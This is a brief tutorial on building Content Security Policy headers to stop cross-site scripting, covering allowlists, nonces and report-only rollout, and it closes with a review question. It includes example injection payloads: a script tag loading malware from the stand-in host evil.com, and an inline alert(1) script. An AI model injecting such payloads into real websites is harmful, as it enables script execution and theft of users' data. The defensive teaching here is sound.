Construct secure Content Security Policy headers to protect sites from XSS.
Cross-Site Scripting (XSS) occurs when an attacker tricks a browser into executing malicious JavaScript on a legitimate website. Even if your site's logic is secure, a compromised third-party script (like an analytics or ad tag) can steal your users' data.
A Content Security Policy (CSP) is an HTTP header returned by your web server that strictly declares where resources can be loaded from. For example, script-src 'self' https://trusted.com; tells the browser to only execute JavaScript from your own domain or trusted.com.
If a hacker successfully injects <script src="http://evil.com/malware.js"></script> into a comment on your site, the user's browser will outright block the script from downloading because evil.com is not on the CSP allowlist.
By default, a strong CSP blocks all inline scripts (like <script>alert(1)</script>) and eval() calls to prevent reflected XSS attacks.
To allow specific inline scripts safely, modern policies use cryptographic nonces (script-src 'nonce-r4nd0m'). The server generates a random string per-request, and only scripts that include that exact string in their tag (<script nonce="r4nd0m">) will execute. This forces attackers to somehow guess the server-generated random string for their injected script to work.
Deploying a strict CSP on an existing, complex website will almost certainly break functionality because you will inevitably forget to allowlist a legitimate third-party service.
To prevent this, deploy the policy using the Content-Security-Policy-Report-Only header first. In this mode, the browser won't block any scripts, but it will ping a monitoring endpoint with a JSON report every time a violation occurs. Once the reports show zero legitimate violations, you can enforce the policy.
If an attacker successfully injects a malicious script tag into your website's HTML, how does a Content Security Policy protect the user?